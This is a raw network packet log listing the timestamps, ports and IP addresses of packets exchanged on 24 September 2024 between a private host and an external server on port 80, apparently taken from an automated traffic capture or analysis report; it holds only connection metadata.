Sep 24, 2024 21:30:12.642294884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.642327070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.642348051 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.642368078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.642452002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.642484903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.642507076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.642517090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.642528057 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.642553091 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.642560959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.642597914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.642636061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.642668962 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.642708063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.642729044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.642735004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.642787933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.642822027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.642823935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.642843008 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.642863989 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.642965078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.642997026 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643028975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643064976 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643096924 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.643130064 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.643193960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643228054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643260002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643295050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643404961 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.643455982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643488884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643523932 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643588066 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643625975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.643625975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643645048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.643660069 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643681049 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.643707991 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.643800020 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643832922 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643848896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.643866062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643878937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.643901110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643912077 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.643937111 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643945932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.643970013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.643981934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.644015074 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.644053936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.644085884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.644103050 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.644119024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.644130945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.644153118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.644161940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.644186974 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.644197941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.644222021 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.644228935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.644259930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.644264936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.644305944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.644362926 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.644419909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.644443989 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.644476891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.644493103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.644521952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.644556999 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.644588947 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.644609928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.644623041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.644630909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.644659042 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.644668102 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.644705057 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.644723892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.644768000 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.645067930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.645112038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.645132065 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.645162106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.645164967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.645210981 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.645241022 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.645275116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.645298004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.645318031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.645368099 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.645401001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.645423889 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.645432949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.645437002 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.645478010 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.647456884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.647490025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.647512913 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.647524118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.647542000 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.647567987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.647578001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.647614956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.647635937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.647649050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.647665024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.647682905 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.647696018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.647727013 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.647737980 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.647773027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.647784948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.647808075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.647810936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.647840977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.647855997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.647876024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.647885084 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.647918940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.647953987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.647989035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.648003101 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.648022890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.648030996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.648066044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.649280071 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.649332047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.649349928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.649364948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.649390936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.649400949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.649425030 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.649430990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.649445057 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.649465084 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.649467945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.649501085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.649516106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.649534941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.649548054 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.649568081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.649576902 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.649611950 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.650186062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.650249958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.650259972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.650306940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.650394917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.650453091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.650473118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.650506020 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.650526047 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.650547981 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.650557041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.650604963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.650619984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.650640011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.650648117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.650682926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.651343107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.651371956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.651412010 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.651444912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.651452065 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.651489019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.651505947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.651521921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.651532888 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.651562929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.651575089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.651607990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.651623011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.651643991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.651652098 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.651686907 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.729468107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.729501009 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.729554892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.729587078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.729619980 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.729646921 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.729660034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.729695082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.729703903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.729718924 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.729736090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.729753017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.729770899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.729779005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.729804039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.729824066 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.729836941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.729855061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.729872942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.729871988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.729912043 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.729986906 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.730019093 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.730029106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.730056047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.730067968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.730098963 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.730140924 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.730173111 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.730184078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.730206013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.730209112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.730240107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.730243921 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.730278969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.730376005 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.730407953 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.730418921 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.730442047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.730446100 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.730474949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.730480909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.730513096 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.731224060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.731273890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.731297970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.731329918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.731338978 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.731369972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.731446028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.731482983 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.731491089 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.731517076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.731519938 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.731551886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.731555939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.731589079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.731676102 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.731708050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.731717110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.731741905 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.731745005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.731774092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.731779099 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.731807947 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.731810093 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.731847048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.731848001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.731889009 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.731973886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732002020 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732013941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732033968 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732053041 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732067108 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732084036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732103109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732151985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732184887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732191086 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732218981 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732223034 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732253075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732258081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732285976 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732296944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732319117 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732328892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732352018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732353926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732384920 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732389927 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732419014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732422113 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732454062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732640982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732673883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732680082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732707024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732712030 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732741117 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732745886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732774973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732779980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732811928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732919931 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732953072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732958078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.732985973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.732990026 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.733020067 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.733032942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.733052969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.733062029 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.733088970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.733093023 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.733129025 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.733308077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.733340025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.733345032 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.733375072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.733377934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.733408928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.733413935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.733443022 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.733444929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.733475924 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.733479023 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.733513117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.733513117 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.733546972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.733550072 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.733586073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.733637094 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.733679056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.864201069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.869395018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.085428953 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.085453987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.085469007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.085485935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.085499048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.085503101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.085550070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.085566044 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.085570097 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.085570097 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.085633993 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.085644007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.085659981 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.085712910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.085712910 CEST	49730	80	192.168.2.4	193.233.113.184
